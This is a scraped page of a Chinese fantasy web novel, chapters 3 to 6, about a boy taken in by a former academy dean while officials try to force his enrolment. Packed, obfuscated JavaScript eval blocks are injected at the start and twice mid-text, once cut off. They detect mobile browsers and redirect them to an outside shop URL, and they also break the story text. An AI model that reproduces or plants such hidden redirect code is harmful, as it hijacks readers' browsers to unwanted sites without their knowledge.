;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16643441|188165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “诅咒”,是祖先做坏事的报应。 表面上看,让林栖入学是为了他好,因为学城“干净”,越早入学,就越有可能避开侵蚀。 但之后呢? 刻意让一个人保持绝对干净,听起来是像在保护他,还是像把一件实验材料放进培养皿? 更重要的是,能在白塔层面动手脚的人,这世上也没有几个。 窗外远处,连绵丘陵上方,隐约可见一座孤高白塔,在它周围就是学城的“中心区”,也就是除圣城之外,这世上最干净的一片地方。 城外松林里,报喜鸟们沉默走着,心情仿佛游街示众。 树荫也遮盖不住一身红色制服。 领队很有一种当众脱衣服的冲动。 太丢人了。 从没听过有人报喜还被赶出来的。 他们是全世界最丢人的四个报喜鸟! “队长——”有人叫了一声。 领队像只被人捏住脖子的斗鸡,昂起头道,“干嘛!” “那家人真的有病吧?我说真的,咱们要不要找个精神医生过去看看?” 领队从鼻孔里哼了一声,“看看?然后呢,以德报怨,集资给他们治病?” “那倒不用……我意思是,咱们先别回去吧?” 回去等于交不上任务,等于丢人,等于后半辈子都别混了。 领队当然清楚,但能有什么办法!难道真的找个精神医生?把大的那个抓进精神病院,小的那个直接绑走?! 这简直就是脑子有……天才啊! 对对对,他有印象,是有那么一条规定,可以强制执行。 行动手册!快找行动手册! 事已至此,也顾不上丢人,几人回到部里一通翻找,手册是找到了,但上面只有一句:如遇阻挠,可采取必要措施。 ……阻挠是什么阻挠?家长不让进门算不算阻挠?必要措施是什么措施?把孩子直接抢走算不算必要措施? 队长一拍桌子,做出最终解释,“你们都看到了,那个孩子本来很想上学,但在家长威逼之下,根本没得选择……咱们遇到这种情况,只能采取必要措施,明天叫上支援,再去一趟!” 这时走廊忽然一阵骚动。 有人大步跑来,还没进门已经开始嚷嚷:“听说了吗?他们在抓幽冥!已经围困住了,如果成功,咱们就能见证历史!” 四个报喜鸟同时一喜。 太好了!见证历史!谁还有空嘲笑他们? 等等…… 抓幽冥?! 真的假的?万一把这怪物惹恼了怎么办? 会不会又来袭击学城?? “有把握吗?围在哪儿了?” 同一时间,荒芜深处,三十多支猎捕队正围着一座岩石峡谷。 俯瞰谷中一片猩红,血雾越来越浓,好似一锅血浆悄然沸腾,最浓处顶出粘稠的气泡,缓缓膨胀,而后无声炸开。 雾色随之漫出谷地,在两岸苍白的岩石上缓缓流淌…… 成群的蓝闪蝶追着血色,给峡谷描出一道妖异蓝边。 谷中安静异常,没有厮杀,没有咆哮,只有不断涌出的血雾宣告诱捕行动再次失败,投放的诱饵已被目标猎杀。 谷底,浓雾蔓延,像是一场黑色的雪,寂寂飘落,在地上覆了深深一层。 空气中传出极细微的嘶声,像有无数条毒蛇在同时吐着信子。 怪物尸体僵立在地,硕大头颅闷声掉落,向前滚了半圈,浸透在地面积蓄的黑雾中,如同陷入纯黑色的泥沼。 黑雾像是一条逆流而上的河,顺着这具庞大躯体上的皮肉肌理悄然蔓延,片刻,怪物血肉绽开,腐蚀剥落,发出一阵踩雪似的轻响。 只几息间,狰狞的怪物头颅就被蚀成苍白一颗,自颅腔中落下焦黑的粉末,像沙漏缓慢流淌,在地上堆起尖尖一滩。 一只兽爪从黑雾深处缓缓探出—— 爪钩狭长尖锐,状似猛禽,肌骨嶙峋,覆满森然的毒刺与黑羽,姿态却像人手。 漆黑食指抬起少许,勾着空洞的眼眶,将头骨提了起来。 一只红色小虫飞舞着,落在指骨末端,像一颗新鲜溅落的血珠,顺着爪尖,滑入空洞眼眶。 浓雾如幕,一道诡谲黑影渐渐隐入深处。 诱饵还剩六只。 4. 第 4 章 林栖做了一个奇怪的梦。 梦里所有他认识的人都像是不认识他,跟他打照面时,总要问一句你是谁。 而当他回答之后,对方又会露出一副果然不认识的表情,礼貌地同他挥手告别。 人群中都是复制粘贴般的面孔,他站在十字路口,跟自己所熟知的一切擦身而过。 醒来之后,他在床上多躺了一会儿才起。晨曦清凉明澈,观沄把饭桌摆到了院子里。 林栖坐在桌边,目光漫无目的地飘散出去。 等回过神来,林鹭已经在旁边另起一张桌子,坐下了。 过了一会儿,观沄端着餐盘出来。崭新的浅蓝色骨瓷盘中点缀着新鲜采摘的香草,罗勒和角堇编织成精致的花环,中间端正摆着一颗煎蛋。 这该是一顿很精致的早餐……如果煎蛋没糊的话。 观沄一早上煎了十六颗鸡蛋,榨干了所有库存,很遗憾,所有鸡蛋都遭受了惨无人道的虐待,这已经是其中受伤最轻的一颗。 他沉默着把盘子摆好,建议道:“可以先吃松子。” 林鹭从旁瞄见那颗糊煎蛋,手中勺子朝林栖晃了晃,“你还不知道吧?他连仙人掌都能养死。” 管家在一旁补充:“养死一两个人更是不在话下。” 而作为那个有可能被养死的人,林栖此时在想:到底要不要告诉院长? 他看向观沄,就见观沄脸色复杂地朝他笑了笑,自首道:“还有绿萝。” 这时远处传来一阵玻璃风铃声,清脆剔透。 外面有人来了。 林鹭耳朵一竖,跳起来就往树屋跑。 管家紧随其后。 观沄平静看向院门。 而林栖正在思考:什么绿萝? 人声近了,已经能听到原木台阶传来踏踏声响,动静像是靴子。 老橡树上,小木屋传出一阵响动,一小团人影掀开天窗,顺着二段梯继续向上攀爬。 片刻,藏在浓密树冠中的“瞭望塔”上开了窗,从窗缝探出一支木雕望远镜。 松果球噼里啪啦砸向院外。 台阶上传回一阵暴雨落伞面的声响,而脚步声并没有停。 院门外,身穿浅灰色制服的年轻人撑着墨色巨伞,朝身后倨傲一笑,“都说了,不用担心,有我们呢。” 伞骨间盘着一条碧青蛇影,半虚半实,蛇尾一卷,伞面就随之缩小一圈。 制服后背绣着学城徽章,左肩另有一枚学院方章,肩前钉着两枚银扣,正面刻十字星,证明这是一名科班出身的“画傀师”——通称“画师”,二星等级。 旁边另有一名“画师”,比他略矮一些,肩前只有一枚银扣,代表一星等级。 一星画师左手食指勾住一枚银环,右手将薄薄一枚纸团抛向上空。 纸团离手,即刻展开成一只菱形风筝,饮风而涨,片刻间首尾已经超过十米,由一根细银线牵着,轻盈飘在上方,影子投落一片半透明的彩格。 又有一阵松果球从天而降,但被风筝挡住,依然没砸到人,只是远远滑落出去。 今天的报喜鸟看着比昨天还要喜庆。 领队挺胸挺得像只斗鸡。 这次过来,他带了三个外援,都是部门内的新晋精英,别说带走一个学生,就算同时对付两只怪物也绰绰有余。 他清了清嗓,笑着朝画师道:“能不动手最好。” 二星画师眉尾一抬,“那我在这儿干嘛?吉祥物吗?” 领队咳了一声,“不是这个意思,主要怕伤着学生。” 二星画师嘴角微微一扯,没说话,好笑地看着他,片刻手腕翻转,收了雨伞。 那条碧青色的小蛇从伞骨之间绕出,在他手腕盘了几圈。 他抓着收窄的伞身,五指向下一捋,伞布像是遇热收缩的塑料,凝成墨黑的一团影子,被他轻轻一抖,又展开成薄薄一只布袋。 他将暗金伞骨对折,再折,就这样轻松收入掌心,五指一拢,再张开时,伞骨已经拆成细长锁链,一端从指间滑落,另一端绕在黑布袋上。 他手指劲瘦修长,动作像是魔术师在舞台表演,堪称赏心悦目。报喜鸟们少有机会见到画师炫技,眼神放光,双手举在胸前,几乎就要学海豹一样啪啪鼓掌。 领队嫌弃地瞥了眼自家队员,笑道:“不愧是二星画师,部门精英跟我们这些跑腿的就是不一样,我不是不信你们实力,只是想提前沟通一下,等会儿好配合行动。” 对方却道:“用不着配合。” 拇指在那条小蛇头顶摸了摸,朝站在队尾的报喜鸟随手一指。 领队还没反应过来,就见黑布袋无声飞出,瞬间涨大,将那名报喜鸟从头到脚一兜,紧接着锁链绕上,猛地收起。 袋子倒提起来,报喜鸟发出“嗷”的一声。 领队顿觉脖子一紧,忙说厉害厉害。 二星画师抬抬手指把人放了,将黑布袋收回手里,“现在只是示范,待会儿有咒师配合,你们不会听到任何声音,只要被我看到目标人物,事情就结束了。人我们直接带走,还需要跟对方废什么话,动什么手?” 领队虽然有点脸疼,但心里很有底气,噔噔走上最后几级台阶,敲门道:“请开门,我们是学城工作人员,过来了解情况,请配合我们工作——” 隔了片刻,木门开了。 身形高挑的年轻人站在门内,淡淡抛出一句:“了解什么?” “学城有规定,家长不能阻止孩子入学。”领队说得理直气壮,转头看向两位画师,示意他们随时准备动手,却见两人站得直挺挺的,不知道的还以为是在门口罚站。 他直觉有些不对,但没细想,打算进门再说,可刚一抬脚,就被二星画师一把抓住,拽了回来。 随即就听二星画师含混叫了一声:“院长……” 一星画师也结巴道:“打、打扰了……” 领队:“??” 两名画师顾不上搭理他,说完互看一眼,见对方手上捏着画傀,想到自己手里也有,忽然激灵一下把手背到身后。 可惜一个挂着长链子,一个牵着大风筝,都不是说藏就能藏得住的。 空气静默一瞬,二星画师忽然朝旁边一指,“魏同学的新画傀做得很有意思,院长您如果有时间的话,可以帮他指点一下。” 一星画师脸色刷地一白,咬牙挣扎道:“院长我、我不行,我、我才一星……您要是实、实在有兴致的话,还是看、看看卫同学的二星作品……” 领队终于忍不住插嘴,“……院长?什么院长?” 两个画师好似一窝雏燕,齐刷刷地朝他看来—— “这位就是我们尊敬的画院院长。 “我们以前都、都是他的学生。” 画院院长? 那不就是…… 领队瞪大了眼睛,茫然道:“……真的假的?” “这还能有假?” “当、当然是真的……” 两个画师同时开口,如果可能的话,他们也希望这一切都是假的。 想当年在画院读书,他们可没少被院长收拾。 观沄出了名的不留情面,只要被他抓到错处,不管你天赋多高,成绩多好,家庭背景多硬,都得乖乖受罚。 毕竟,天赋再高也高不过画院有史以来最年轻的院长,成绩再好也破不了院长本人留下来的全科满分记录,家庭背景更别说了,观家在那些世家大族中也算数一数二。 年初评级,有人曾问过评级老师,如果是观院长来了,能评几级? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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二星画师心中响起哀乐,苦着一张脸朝观沄道:“院长,我那是开玩笑的……” 观沄:“但我没开玩笑,你开始吧。” 这一刻,精英画师回忆起了被绝对实力所支配的恐惧。 修长好看的手指哆嗦一下,硬着头皮开始操作画傀。 那只黑布袋刚飞起来,就像被人剪断提线的木偶一样,直直掉在地上。 观沄回身看向林栖,“吃饭,别光顾着看。” 男孩儿捧起牛奶杯,一双黑漉漉的眼睛看着画师,喝一小口,又拿起几颗松子慢慢地嚼。 观沄又对二星画师道:“你继续。” 二星画师收回画傀,再次放出,再次落下,然后继续放,继续落…… 观沄由着他在那里忙活,视线转向一旁,“那位一星同学,反正闲着也是闲着,你来分析一下,你这位二星同学的画傀为什么飞不起来。答对你就可以走了。” 一星画师都快哭了,以他的水平,实在看不出院长是怎么出手的,表面上,院长就只是站在那里看着而已,连手指头都没动一动。 他苦着脸道:“院长我、我错了……” 观沄微笑道:“不然你们换换?你来抓人,他来分析?” 救、救命…… 晨雾褪去,阳光渐渐有些刺眼。 两个画师站在太阳底下,交替放出画傀,人还活着,但仿佛已经死了有一会儿了。 又过了几分钟,林栖终于吃完了最后一颗树莓。 观沄一边收拾餐盘,一边朝两人道:“停吧,我得去洗碗了,没时间在这儿等着你们。” 两个画师如蒙大赦,跌跌撞撞鞠了个躬,扭头就跑。 看热闹的咒师指着林栖问了一句:“观院长,那是您学生吗?” 观沄道:“不是。” 却不解释到底什么关系,只是领着林栖走了。 于是,很快,一条消息在坊间传开—— 观院长辞职之后,居然生了一个12岁的儿子! 5. 第 5 章 清晨洗漱过后,林栖回到自己房间。 几本旧书整齐放在床头桌上。 林栖看了它们一眼,远远停步,仿佛每本书都长着八条腿,只要靠近,就会被一张大网粘住。 他的目光攀着书脊,停在其中一本。 书名旁标注着“上册”字样,但没有下册。 按照目录,上册是建校前的五年,下册是建校后的五年。 他想继续看,但院长没把下册给他。 可能是忘了给、不想给,或者院长自己也没有这本。 院长之所以给他这么多书,就是因为觉得他看不懂,所以,如果现在告诉院长他能看懂,不但拿不到更多书,现有的书也可能被没收。 那就…… 等等再说吧。 至少先把下册看完。 但是去哪儿找呢? 这种将近两百岁的书,古董店?博物馆? 正想着,一阵风铃声凭空响起。 这次声音和上次不一样,听不出具体方向,仿佛空气中隐藏着上百个透明风铃,忽然受到惊动,同时炸响。 片刻,观沄过来说:“有东西触发了松林里的机关,我要过去看看。” 外城区防护不严,偶尔会有怪物进来,为了安全,他额外设了几道预警。 林栖也想跟着一起,但又怕自己添乱。 他默默跟着观沄,从屋里走到院子,还在纠结,远远就见林鹭噌噌爬下树屋,追着观沄道:“你去打怪物吗?我也要去!” 观沄斟酌着,林鹭又强调一遍:“反正我要去你也拦不住我。” “好,好。”观沄答应下来,转头问向林栖,“你呢?” 林栖安静站着,有些出神,观沄见他没反应,略微俯身靠近,温声道:“你想一起去吗?但可能会看见怪物,要有心理准备。” 林栖依然有些迟疑,“……可以吗?” “当然可以。”观沄指了指林鹭,悄声道:“帮我个忙,看着他,别让他乱跑。” 于是,一路上,林栖的视线都像栓在林鹭身上,不但绑得牢固,还打了死结,林鹭回头瞪他几次,都没把他瞪开。 走了十几分钟,松林里开始出现血迹,像是未冷却的铁水,洒在哪里,就把哪里烧得焦糊。 空气中有一股发苦的臭味。 远处传来零星人声,紧接着是树枝断折声和一阵嘶吼。 有人在猎杀怪物。 从机关触发到现在还不到二十分钟,在这个区域,猎人不该来得这么迅速,除非是他们主动把怪物赶过来的。 怪物垂死时的叫声极具穿透力,像是一捆钢筋洞穿铁板,摩擦出凄厉的尖啸。 林鹭“啊”的一声捂住耳朵。 林栖站在原地,脸色有些发白。 观沄转向林栖,抬手捂了一下耳朵,示意他跟自己做一样的动作,“数到三十再放下。” 林栖照做,“一,二……” 因为捂着耳朵,自己的声音直接响在脑壳里,嗡嗡的,勉强抵消了一些不适。 观沄向前走出几步,身侧悄然浮现一道纯黑色的影子。 影子跨步而立,身形瞬间拔高几米,左手向后做了一个取弓的动作,右手折松枝为箭,拉开弓弦,瞄准远处。 远处林间高高飘起黑帆,几名“野猎人”已经布置好了猎场。 黑帆中心困着一只蛇形怪物,大约七八米长,鳞片稀薄,身形粗重。 怪物首尾已被钢锥贯穿,几乎砸进地里,只有身子还在挣扎扭动,异常凸起的腰腹被人横向割开,血液混着脓水汩汩涌出,在地上灼出锈蚀般的焦痕。 怪物脑袋又宽又扁,隐约还能看出一些人类特征,脑后鳞片下方长着头发,污浊地打着绺,水草一样粘在细长的颈上。 野猎人站成一圈,像在玩一个转盘游戏,怪物挣扎到谁面前,就由谁动手给它放血。 先把血放干了,心脏才好挖。 这种低等怪物只有心脏值钱。 “哧”的一声,又有人给蛇身割了一道口子,脓血带出细细一段手臂,泡得泛白,能清晰看出五根手指。 旁边有人骂道:“晦气!里面有个小的!” 声音未落,忽然就觉空气一震。 远处传来破空声响。 下一秒,一道箭影直直穿透怪物胸腔。 心脏破碎,惨叫声戛然而止。 挣扎扭动的蛇身像是机械断电,忽然就软塌下去,血液以肉眼可见的速度开始凝固。 领头人大步上前检查,接着破口大骂,吩咐手下找人。 骂声隔着几十米的距离仍能听见,这边林栖才刚数到十三,但叫声已经停了,他犹豫着松开手,刚听到远处传来一点人声,就见观沄朝他耳朵上指了指,示意他继续捂好。 哦…… 林栖继续,“十四,十五……” 很快,那群野猎人发现这边有人,大步追了过来。 他们外形粗野,每人身上都挂着一些处理过的怪物肢体。 领头人颈上绕着一串带刺的脊骨项链,腰间别着三枚兽爪挂钩,一路骂骂咧咧走近过来,指着观沄嚷嚷:“是你他妈的偷偷放箭?谁他妈给你这个胆子敢搞老子猎物!” 其他几人附和:“肯定是他!让他赔钱!” 观沄神色如常,“我很好奇,你们的猎物是从哪儿来的?” 领头人:“关你他妈屁事!” 此时林栖和林鹭都被观沄挡在身后,一名光头猎人从旁边看向林鹭,龇牙咧嘴一笑: “呀这细皮嫩肉,怪物最爱吃你这种小孩儿,直接生吞,嚼着你的时候,你还能听响,肋骨嘎嘣脆,等到了脑袋,就跟嗑核桃似的,咔咔,咔咔——” 林栖依旧捂着耳朵,数得却越来越慢,“二七……二八……” 观沄皱了下眉,语气依然平静,“嗯,确实不归我管。” 话音未落,树林上方忽然一阵响动,猎人们警惕抬头,只见一片巨大黑影笼罩下来,心中警铃大作,扭头就跑,但没跑出几步,就被黑影一口吞下。 安康鱼从斜上方俯冲下来,张开的大嘴好似一辆铲车,把那些乱叫乱蹦的小人儿连同他们脚下的泥土和枯枝一起铲进嘴里。 随后,它“咔”的一声闭上了嘴,上下三排尖牙交错合拢,整条鱼好似刹车失灵的泥头车,又向前滑行了一段才缓缓停下,宽大的下颏深深犁进土里。 周围一片尘土飞扬。 林鹭像个弹簧小人儿,蹦到一旁,低头,用力甩了几下头发。 观沄把林栖拉到一边,抬手在他头上拨了拨。 林栖眼看着几根松针和草梗从自己头顶掉了下来。 安康鱼趴在地上,一双眼睛望着天空,嘴里缓缓嚼了几下。 齿缝中顿时传出一阵哀嚎。 安康鱼又嚼几下,眼白往上翻了翻,忽然“呸”地一吐。 几个野猎人满身是泥,好像屎壳郎的粪球一样滚了出来,落地之后满脸惊慌失措,大喘粗气,一句话也不敢多说,爬起来就跑。 林栖微微张开的嘴又默默地合上了。 原来不是真的生吃活人。 他仰头看向观沄。 观沄遮着嘴,像在说什么秘密一样压低声道:“吓唬人的。” 有这一次,这帮人也能长长记性。 回去之后,林栖等着林鹭回了树屋,才问观沄:“怪物死了吗?” 观沄温声回道:“嗯,你害怕吗?” 林栖摇头,“只要发现怪物就打死吗?” 观沄斟酌片刻,还是决定不要隐瞒,让林栖尽快适应这边环境。 “不一定。不是所有怪物都会主动袭击人,有些怪物唯一的杀伤力就是长得难看。但接触怪物会对人造成侵蚀,学城这边实行分区管理,在外城遇到怪物,可以选择猎捕或驱逐,而在中区以上则是立即捕杀。” 林栖大概懂了。 那还是外城比较好。 如果有人发现他是怪物,他还能有机会逃跑。 立即捕杀的话…… 不知道这个世界的人有没有办法杀他。 他对死亡没有太多想法。 但不喜欢被杀。 今天天气很好,松林散发着一股烘烤过的清甜,窗外景色安静祥和,让人很难相信世上存在怪物。 整个上午,林栖都在练习写字。 中午,厨房里锅碗瓢盆响成一片,听起来很有烟火气。 然后,烟火气就变成了“火气”,从门缝里飘出一股浓郁糊味。 观沄叹了口气,说今天还得出去蹭饭。 邻居姐姐做了炖菜,很香,林栖比平时多吃了一碗饭。饭后观沄带他逛街消食,一路从市集逛到商街,中间跨了一个城区,虽然“下城区”也只是城郊,但也勉强算进城了。 林栖以前从不知道,观沄逛街的时候是这种画风。 见什么买什么。 而且一买就是一堆。 市集还好,都是一些零碎,到了商街之后,他眼睁睁看着这个人买了十几套睡衣,每一套都是亲子款式。 接着还有“亲子餐具”“亲子零食”“亲子家具”…… 拦不住,根本就拦不住。 这位院长买东西只需要一个理由:家里没有。 在林栖的概念里,福利院很穷,福利院院长也不富裕,以此类推,其它品种的院长应该也不是什么高薪职业。 他有点担心观沄破产。 从商街出去,林栖已经不记得到底买了多少,前路分作两边,一边热闹,一边安静,他果断地选择了安静那边。 观沄笑着让林栖带路,自己在后面跟着他走。 于是林栖专挑着人少的地方,一条路越走越暗,越走越窄,就当他以为即将走入死胡同的时候,尽头忽然又有了光。 临近正午的太阳从两道窄墙之间照进来,在青石砖上烧出一方炽白。 阳光仿佛很薄很脆。 风吹来一阵黯哑的风铃声。 让林栖想起老旧的磁带和泛黄的照片。 穿过窄墙,是一条古旧街道,老树和建筑长成一体,沿街悬挂着许多铁皮风铃,路边砖缝里戳着几只卖剩下的纸灯。 观沄随手拨响风铃,问林栖:“现在往哪边走?” 林栖习惯在路口左转,听到观沄问,已经抬起的脚尖却反而向内一勾,调转向右。 沿路都是一些没开门的小店,阳光太好,烤得人眼皮发沉,林栖注意力不太集中,顺着风铃声走了一段。 一片稠云遮住日头,视野短暂恢复清凉,他朝天上看了一眼,视线落下时,刚好瞥见一旁店招上写着“废屋”两个大字。 ? 好怪的店名。 等等,他能看懂。 是古语。 这好像是他第一次在街边看到古语。 林栖脚步没停,但明显放慢了一些。 就在这时,他听到身后有人说话。 其中一个人说:“找到了!就是这家店,能修古董造物。” 另一个人说:“也太偏了。” 林栖脚步一顿。 他听见了“古董”两个字。 古董店? 那会有古董书吗? 这是一家老式商店,左右各有两扇木门,林栖此时已经走过了店门左侧,和那块店招隔着几米距离。 他看着那两个人推门进店,这时观沄问他:“要不要进去看看?” 林栖下颌微微一抬,刚想点头,却顿住,想起自己现在是个文盲,要努力维持人设,于是朝店招指了指问:“这家是什么店?” 观沄抬起视线,似乎也有些意外会在这里看到古语写的店招,“这家店名叫废屋,应该是一家……” 他还没说完,店门就开了,出来的还是之前那两个人。 其中一人骂道:“有病吧!开店做生意,态度还这么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那双眼睛微微一挑,视线穿过阳光下的微尘,在他身上略一打量,“再看,连你一起拉黑。” 于是那个“你”字的后续即刻有了—— 你有病。 对方目光在他手上一顿,收回视线,“砰”的一声关了房门。 态度确实很差。 林栖不认识他,没理由在意他的态度,可当那扇门在眼前关上,他还是有种被人当胸一把推开的错觉。 连呼吸都好像窒了一下。 他盯着那扇门,在心里捡了颗小石子,用力打在门上,扭头就走。 一路走到街角,铁皮风铃的声音渐渐远了,观沄在一旁道:“我听说过那家店。” 林栖有点心不在焉。 观沄在他左肩轻轻一揽,带着他在路口右转,“是一家造物店,可以修复古董造物。” 待机的思绪捕捉到关键词,林栖耳尖微微一动,看向观沄。 古董? 观沄:“林叙是造物师,很厉害的那种。” 不是说古董吗? 林栖恍惚一瞬,随即想起,林叙是一个两百年前的人,确实也算古董。 他将观沄这句话在脑子里倒带一遍,好奇问:“比你还厉害吗?” “不能这样比,但肯定比我厉害多了。”观沄试着解释,“过去两百年里出过很多很优秀的画傀师,我从小就很擅长学习总结,但林叙不一样,他是史上第一位造物师,整个造物体系都是他创立的,可以说,林叙是在‘无中生有’,这样能理解吗?” 树荫洒落光斑,晃进林栖眼里,他半眯着眼睛,试着想象空气里突然冒出一个从来没见过的东西。 片刻,想象失败,他摇了摇头。 “嗯……天才确实有点难懂,我以前看过一篇林叙手稿,熬着三天没睡也没研究明白。” 观沄食指关节抵着下颌,垂眸陷入回忆,不过只一两秒钟,他就回过神来,“等以后有机会,带你去看林叙那些造物,应该比较直观好懂。” 阳光映入林栖眼底深处,衬得那双眼睛澄澈到有些空茫,像是听不懂观沄在说什么。 “这就是造物的优势了,即使隔着两个世纪,还是可以看到实物。” 观沄语气像是在翻一本老照片,“那些造物大部分在白塔,小部分在造院,藏家手里也有几件,偶尔能在古董店里见到,如果你有兴趣,我就带你多去逛逛。” 林栖慢半拍地点了下头,恍惚有点不真实感。 两百年前的东西,居然现在还能见到。 …… 回去的这一路上有点奇怪。 一开始,他们偶遇了几个报喜鸟,还是那身红制服,但都是些生面孔。 接着没过多久,他们就又偶遇了一波红制服。 然后继续偶遇。 持续偶遇…… 林栖数了,不到一个小时就偶遇了三十多个。 这些报喜鸟既不靠近,也不搭话,只是看看就走,但一而再再而三的,还是让人有种待在动物园里被围观的错觉。 对此观沄没有多说什么,只让林栖不要搭理。 离开下城区后,报喜鸟不再出现,但围观并没结束,回去之后,家里也来了一位不速之客。 一开始,林栖以为他是来寻仇的,后来才发现,这人和观沄认识,而且好像很熟。 不速之客名叫凌壑,个子很高,而且打扮扎眼——打耳钉、扎马尾、一身黑西装上画满涂鸦。 林栖觉得,这人长得很好看,但脑子可能有点问题。 因为一见面,这人就给他塞了一个信封,笑嘻嘻道:“观沄生的就是我生的,来,这是爸爸给你的见面礼。” 信封是星空配色,蓝底银章,里面装着一张考试通知。 6. 第 6 章 观沄看凌壑的眼神像是在看一个精神病患。 凌壑却笑着,直接伸手往他肩膀上搭。 于是,林栖在同一天里,第二次见到了“生吃活人”的场面。 这次安康鱼足足嚼了五六分钟才把人给吐出来。 凌壑一身狼狈,散着头发坐在地上,却仿佛刚在过山车上玩儿了一趟下来,放松地呼一口气,笑着朝安康鱼招了招手,“我皮筋儿落你嘴里了,麻烦吐一下。” 安康鱼嘴巴咕哝咕哝,龇着牙缝,居然真的给他吐出一根黑色皮筋。凌壑接过,一边用手指梳理头发,一边朝观沄道:“这招还是我发明的,你得付我版权费。” 观沄收回安康鱼,不客气道:“是谁让你来的?” “是满城的风言风语啊~~都说你有一个十二岁的大儿子,我就算是死了,也得从坟包里爬出来看看。”凌壑说着,朝林栖挥了挥手。 “现在看完了?”观沄有些不耐烦。 “啊……”凌壑摸了摸头发,像是不太满意,又扯下皮筋重绑一次。 “那么请滚。”观沄指着远处赶客。 林栖眨了眨眼。 原来“请”字还可以这样用。 既然可以“请滚”,那么也可以“请死”“请咽气”“请去世”…… 凌壑低头看着自己身上,理所当然道:“滚是可以,但我衣服破了,你得借我一身换换。” 于是,半小时后。 凌壑套着一件白T坐在客厅,不知从哪儿翻出一堆零食,一边吃,一边聊着学校八卦。 所以这人也在学校教书,林栖觉得,他好像有什么自动聊天功能,不需要别人接话,自己一个人就能聊下去,既不怕尴尬,也不怕冷场。 虽然家里多了个人,但林栖还是要按时睡觉。 躺下时,客厅里的说话声依然没停,他睁着眼睛想了半天,终于把观沄对凌壑的态度总结成了两个字:容忍。 观沄好像很烦凌壑,但又能由着他烦。 看样子确实很熟。 想到这里,他心里蓦地生出一种很奇怪的感觉,很难形容,就像一个人走在太阳底下,看见别人都有影子,于是低头看了一眼自己脚下,却发现自己没有影子。 常识和经验产生了微妙的错乱。 为什么一个人会没有影子,却还习以为常? 他从床上起来,在屋里走了几圈,反复看着自己的影子被夜灯拉长揉扁。 那种很奇怪的感觉依然存在。 又过了一会儿,他才发现外面很安静,说话声已经没了。 他推门往外看了一眼,就见客厅没人,下一秒,书房里传出“砰”的一声,像是重物落地,紧接着还有一阵杂乱声响。 林栖顿时觉得:这两人终于还是打起来了。 他往前走了两步,又退回来,从自己房间翻窗出去,沿外墙绕到书房窗外。 菱格形的灯光投在地上,他听到观沄的声音从上方传来——“你到底打算什么时候滚蛋?” 接着是一阵零碎的碰撞声响,凌壑道:“你这屋里乱死了,我先帮你收完,站远点,别碍事。” 观沄:“如果我不瞎的话,这抽屉好像是你打翻的?” 林栖沉默。 原来不是打架,是打翻抽屉。 那没事了。 他正要起身离开,忽然看到一块光斑在地上一晃,回头就见一团人影蹲在两三米外,奶蓝色的睡衣即使在暗处也很显眼,是林鹭。 见他回头,林鹭抬手指了指窗户,用口型道:“你偷听。” 林栖:“……” 林鹭把手圈在嘴边,比了个大喇叭,又从衣兜里摸出一支很粗的红色水笔,朝他晃了晃。 威胁的意味非常明显。 林栖怕被观沄发现,于是蹲在原地没动。 林鹭得意地凑近过来,盯着他的脸看了一会儿,忽然抬手,在他脸上画了个圈。 然后又一个圈,再一个圈……涂涂抹抹。 林栖:“……” 红脸蛋吗? 这时就听凌壑又道:“白塔标记有点麻烦,你带着他,跟晚上带颗信号弹出门有什么区别?随便抓个报喜鸟带路都能找到你,而且这东西十八岁以后才会消失,还有六年,你就每天带他到处躲吗?” 白塔标记?报喜鸟? 林栖低头看了一眼自己手心。 忽然就明白了那些“偶遇”是怎么回事。 观沄好像说了什么,但他没能听清,片刻,凌壑的声音再次传来,“这是他们偷情用的,点上这个,屋里发生的一切,外面看不见,也听不着。” 林栖在想标记的事,而林鹭在认真画画,隔了一会儿,两人才后知后觉,书房里的声音没了。 窗内,书桌上摆了一只很怪异的紫色香炉,枝杈造型中间拢着一汪绿火,周围散出蓝色的烟。 凌壑在一张粉色纸签上写了自己名字,对折投入火中,把笔递给观沄,“该你了。” 桌上另有一张空白纸签,观沄抬眸看他片刻,在纸上草草写下名字,同样投入火里。 前一张纸签在火里静静不动,直到第二张落下,火焰才向上卷起,同时咬住两张,吐出一团甜香。 烟雾流淌而出,由线到面,迅速铺满整个房间。 满眼都是紫色。 观沄皱了皱眉,觉得整个家都不干净了。 凌壑笑着凑近,“现在可以开始偷情了,孩子妈妈。” 观沄没搭理他。 凌壑从小就是这个德行。 凌家传统,孩子养到7岁之前不剪头发,男女都一样。 凌壑长得好,小时候总被认错性别,跟观沄一起玩的时候,还总被人起哄说是他的小女朋友。 后来到了会玩过家家的年纪,这人有了逆反心理,非要自己做爸爸,让他做妈妈,他当时只顾着看书,叫他什么都随口答应,所以才会有了这个“历史遗留问题”。 观沄扫他一眼,“有话快说。” 凌壑背靠书架,眯着一双深邃狭长的眼睛,像只晒太阳的狼,“带着白塔标记,观家人也能轻松找到你,每天应付他们,你不嫌烦吗?” 观沄:“你是来劝我回观家的?” “说了你又不信,我真的是来看孩子的。”凌壑支着下巴,往前凑了凑,“小林长得那么聪明,一看就很有天赋,干嘛不让孩子上学?” 观沄听得出来,这个“林”字是在故意试他。 他朝凌壑看了片刻,“所以你是来劝我回学校的。” 这不是个疑问句。 凌壑笑了笑,不接他话,只是自顾自道:“如果怕他被人欺负,完全可以改个名字,干脆跟你姓吧?做好人做到这个份儿上,林家那些祖宗就算从坟头里爬出来,也说不出你一个不字。” 